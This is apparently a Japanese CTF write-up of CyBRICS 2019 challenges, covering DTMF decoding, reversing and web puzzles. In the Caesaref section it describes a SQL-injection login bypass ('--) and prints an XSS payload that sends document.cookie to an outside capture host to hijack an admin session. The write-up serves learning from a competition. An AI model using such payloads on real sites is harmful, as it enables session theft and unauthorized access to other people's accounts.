CyBRICS CTF 2019 write-up とわからなかったところ

#感想
2019年7月20~21日にCyBRICS CTFを(院試勉強そっちのけで)やりました。正直全然できなかったです順位は775チーム中232位でした。3問しか解いてないんですけどね。
#Write-up
##Mic Check
![Screenshot from 2019-07-21 23-44-37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/79a6756e-024b-d188-9bc1-5fe26c6d2c80.png)
言う事なし。

##Tone
![Screenshot from 2019-07-21 23-45-02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/1e8acf3d-0dd4-681e-5eb7-3e27e85256c2.png)
YOUTUBEで番号を入力している音が聞こえて何を入力しているかという問題。問題見た瞬間コナンの映画を思い出しました。
[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling)という２つの周波数で番号を認識しているやつです。その２つの周波数が分かれば良いのでUbuntuソフトウェアにあったAudacityというツールで録音しスペクトルをこんな感じで一つずつ調べていきます
![Screenshot from 2019-07-21 23-56-56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/5df819e9-52c4-3b1d-214c-0fddda69067e.png)
このとき697Hz,1336Hz周辺が強く見られるので2です。2回押したらB,3回ならCって感じです。全部解析して終わり。

##Caesaref
![Screenshot from 2019-07-21 23-45-17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/2e2167dc-54fe-6394-9c05-c338787cdd1b.png)
最初、ログイン画面のようなものが表示される。SQLインジェクションかな？とおもってユーザー名に'--を入力したらなんか入れた。
そして、入力して送信したものがそのサイトで表示されるのでXSS攻撃かなと思ったら案の定でした。
そして管理者はその内容を見てるようなのでCSRF攻撃(違ったらすいません)かな？と思い、[PostBin](https://postb.in/)というサイトで一時的なサーバーを取得し、
<script>location.href = 'https://postb.in/[自分の番号]?cookie='+document.cookie;</script>
を送信。管理人がアクセスしてくれるのでクッキーを取得し、自分のブラウザのクッキーをそれに変えてアクセスすると
![Screenshot from 2019-07-20 22-37-51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/9970e8a4-ff54-e052-c62c-1c2f05d24fe2.png)
このような画面に、フラグを表示して終わり。

#わからなかったもの
解けたものより解けなかったもののほうが多かったですが、今回は惜しいところまで行った気がするけどできなかったものをピックアップしました。
##Sender
![Screenshot from 2019-07-22 13-56-34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/e94620fb-da7a-8335-fb3a-3c722465e50d.png)
スパイの通信を覗いてみたぜ〜という内容
![Screenshot from 2019-07-22 13-56-22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/bf62ae69-95f9-8c55-07e9-b9ec54c9ae0e.png)
見てみるとリクエストやレスポンスが表示されてる。
下の方にあるquoted-pritableでエンコードされているやつをデコードすると
```btw.
 password for the archive with flag:crack0Weston88vertebracheers!
 cheers!
```
と書かれていました。これで終わりか？と思い送信するもダメ。
次にユーザー認証している部分がbase64で暗号化されているので復号してみると
```Username:fawkes
 Password:Combin4t1onXXY
```
と書いてありましたcombinationXXYということはXXYを結合しろってことなんでしょうが、先程のflagの色んな所にXXYをくっつけてみましたがダメでした。ここで行き詰まりました。

[追記]
得られたUsernameとpasswordをもとに実際にtelnetでアクセスするとzipファイルが手に入るそうなのでpassword for archiveで解除するとflagゲット
##Oldman Reverse
![Screenshot from 2019-07-22 23-04-16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/560c5ee3-f4de-47cd-79dd-e9962e026571.png)
![Screenshot from 2019-07-22 23-04-34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/b9e0ca4e-5070-5fff-6f18-877cfcaec07a.png)
開くとアセンブラ言語がでてきました。実行しようとしたのでしが何故かできなかったので(型が違かったのかも)Pythonで同じ挙動をするであろうコードを書きました

```python
string ="cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"
r2 = 13
for i in range(0,len(string),2):
    r1 = string[i:i+2] #mov #MSG r1
    r1_1_bin = bin(ord(r1[0])).replace("0b","")
    r1_2_bin = bin(ord(r1[1])).replace("0b","")
    if (len(r1_1_bin) < 8):
        while(len(r1_1_bin) != 8 ):
            r1_1_bin = "0"+r1_1_bin
    if (len(r1_2_bin) < 8):
        while(len(r1_2_bin) != 8):
            r1_2_bin = "0"+r1_2_bin
    r1 = r1_1_bin + r1_2_bin 
    r0 = bin(int(r1,2) + r2).replace("b","") # add r2 r1
    if (len(r0) < 16):
        while(len(r0) != 16):
            r0 = "0"+r0
    print(chr(int(r0[0:8],2))+chr(int(r0[8:16],2))) #.TTYOUT
    r2 += 829 # add #33d r2
    r2_bin = bin(r2) # clrb
    r2_bin_lat = r2_bin[-8:]
    r2 = int(r2_bin_lat,2)
```
本来はr3レジスタにloopの回数をカウントする数が入っているのですが、割り切れない数で減算していて(´・ω・`)って感じだったので無視しました。これを実行してもよくわからない文字列が得られたのでたぶん間違っているんだと思います。もしくはその文字列からまた何かするのだと思います。

[追記]
[writeup](https://ctftime.org/writeup/16021)より、このコードはpyhtonで

```python
s="cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"
i=0
j=32
o=""
while j>0:
   o+=(s[i%len(s)])
   i+=33
   j-=1
print(o)
```
と書けるそうですが、なぜこうなるかはわかりません。。。自分でまた調べてみます。。。
##Warmup
![Screenshot from 2019-07-22 23-30-09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/d5d14cdc-fd8d-79d7-aaa8-c74d2ed3bdb8.png)
これはかすりもしなかったのですが面白い問題だったので書き留めます
![Screenshot from 2019-07-22 23-30-21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/236c8598-8939-1c61-9214-ae2b0c4fc36e.png)
開くと所々文字化けしたサイトが開かれます。最初文字化けした部分をつなぎ合わせれば何かになるのかなと思ったのですがよくわからなかったです...

[追記]文字化けはただのホントの文字化けで引っ掛け(?)でした。
正解はこのページはリダイレクトされた後にでるページでリダイレクトされる前のページを見ればわかる問題でした。よく見ればアクセスする前のURLと後のURLが異なっていたのでそれを見ればわかったかもしれないです。。。
リダイレクト前のページをみるには
```
curl http://45.32.148.106 
```
です。